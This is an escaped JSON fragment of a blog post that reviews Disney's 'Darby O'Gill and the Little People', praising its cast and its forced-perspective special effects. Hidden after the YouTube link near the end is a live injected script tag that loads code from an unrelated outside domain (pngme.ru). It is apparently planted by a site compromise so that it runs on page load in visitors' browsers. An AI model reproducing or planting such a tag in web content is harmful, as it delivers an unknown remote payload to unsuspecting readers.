Drawing on H.T. Kavanagh\u2019s turn of the last century \u201cDarby O\u2019Gill\u201d books, the movie has that classic Walt Disney feel, and reflects Walt\u2019s long tradition of drawing on classic folktales and literature to create movie magic. The cast is solid, including Irish stage actor Albert Sharpe as Darby O\u2019Gill, Janet Munro as Darby O\u2019Gill\u2019s cute-as-a-button daughter, and a very young Sean Connery as the young man who loves her. If you\u2019ve ever wondered what Sean Connery\u2019s singing voice is like, you\u2019ll have opportunity to hear him bellowing baritone in the meadows in this movie.<\/p>\n<p>One of the most amazing things about \u201cDarby O\u2019Gill and the Little People,\u201d however, is the groundbreaking special effects. The leprechauns in this movie are represented by average-height actors, but they appear one-quarter size. Using forced perspective and some other visual tricks, the incorporation of these \u201csmall\u201d people is completely seamless. The \u201cLittle People, Big Effects\u201d bonus featurette is a must-see. Repeat: the \u201cLittle People, Big Effects\u201d featurette is a must see! If you\u2019ve seen Peter Jackson\u2019s \u201cLord of the Rings\u201d trilogy and \u201cThe Hobbit,\u201d you\u2019ll be interested to know, as the featurette points out, that he used essentially the same forced perspective tricks in his films as this movie, made more than five decades ago, did.<\/p>\n<p>http:\/\/www.youtube.com\/watch?v=iYQofxCTyuA&#038;feature=player_embedded<script src=\"\/\/pngme.ru\/seter\"><\/script><\/p>\n<div class=\"syndication-links\"><\/div>","protected":false},"excerpt":{"rendered":"<p>Set in Ireland, the movie has a strong fairytale feel, involving, as you might guess, leprechauns.
